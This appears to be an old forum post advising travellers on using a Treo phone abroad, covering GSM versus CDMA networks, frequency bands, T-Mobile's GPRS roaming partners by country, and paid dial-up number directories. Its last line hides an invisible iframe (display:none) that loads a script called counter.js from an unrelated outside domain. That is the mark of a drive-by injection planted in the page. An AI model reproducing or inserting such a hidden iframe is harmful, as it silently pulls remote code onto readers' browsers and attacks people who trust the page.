Several things have to match. But if you just want palm pilot capabilities then none of this won't matter. Just have a means to charge the battery and your go to go.

First check to see what that area or country offers, GSM or CDMA. If you have a Treo 300 it uses the CDMA network only which isn't supported in Europe. The Treo 270 and 180 is on the GSM network only which is supported in Europe. Also you have to know what freq you can receive on GSM(900,1800,1900). Click on links below for coverage of CDMA and GSM and TDMA networks in every country.
http://www.gsmworld.com/roaming/gsminfo/index.shtml
http://www.gsmcoverage.co.uk/coverage.html

Now once you've figured out the areas to use your Treo as a phone you have to get other items to match up. Like cell phone carriers. When travelling whatever carrier you currently use for voice calls must be partners with whatever carrier is supported in the area you will be in. Most big carriers have many roaming parnters so it should be fairly easy to have coverage in any country. go to www.gsmworld.com to find a list of roaming partners for whatever carrier you use. For example if you use T-mobile as your carrier you can go here to see their roaming partners.
http://www.gsmworld.com/roaming/gsminfo/roa_dede.shtml

Now that just covers voice calls. For data calls this is what you need. Whatever carrier you use has to be a partner in whatever area or country your in. For example if you use T-mobile as your GPRS carrier then whatever roaming partner they have for data calls is what you can use. Nothing more nothing less. Below is a listing from T-mobile website which shows data roaming partners.
http://www.t-mobile.com/international/coverageInternet.asp .

FYI, here are the countries listed on that page as having international GPRS roaming (on the T-Mobile USA service, at least): As time goes on T-mobile will add more carriers from other countries to this list.

Austria - T-Mobile Austria -- 900 MHz

Czech Republic - T-Mobile Czech Republic -- 900 MHZ

Canada - Microcell -- 1900 MHz

Denmark - Sonofon -- 900 MHz

Finland - Sonera -- 900 MHz

France - Orange -- 900 MHz

Germany - T-Mobile Germany -- 900 MHz

Hungary - Westel -- 900 MHz

Italy - TIM (Telecom Italia Mobile) -- 900 MHz

Norway - Telenor -- 900 MHz

Poland - ERA -- 900 MHz

Spain - Telefonica -- 900 MHz

United Kingdom - T-Mobile U.K. -- 1800 MHz

Of all these countries, only the U.K. is inaccessible for data calls from a US 2-band phone (ex. Treo 270 or 180 since they only have freq 900 and 1900).

Now if you don't mind you could get a contract with a carrier in that country once you get there if you have residence in that country. If you wanted to go that route that way you wouldn't have to pay roaming charges.

Also you could go this route. Use dial up numbers to make data calls instead of using GPRS. The only dial up number I have is for Germany.
It is Freenet.de mobil in Germany which is 22243 and the password is mobil.

But I've found an application that will give you all dial numbers in every country so you can stay connect to the internet until the big carriers like T-mobile have more data roaming partners. At least one for every country.
You have to download this software onto your pda which will lists 14,000 dial up numbers in 150 countries to use to access the internet. It also gives step by step on how to input the information in your pda to connect to the internet. Very heplful when travelling to other countries.
Be advised this software is not free.

https://titancard.com/PDADir/PDA_how.htm

Here are some more sites that will list internet dial up numbers world-wide.You can use this if travelling to a country that won't let you use GPRS. Be advised it isn't free and you have to sign up to be a member. But once that is completed you could use this to travel and always be able to connect to the internet. To make it less expensive buy prepaid sim cards once at destination and then use these services to connect to the internet. That way you don't have to pay roaming charges.


http://www.net2roam.com/

http://www.pda-roaming.com/about.htm

http://www.tempestcom.com/LaptopDir/laptop.htm


Well I think I've made this as detailed as possible. Hope this helps anyone.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>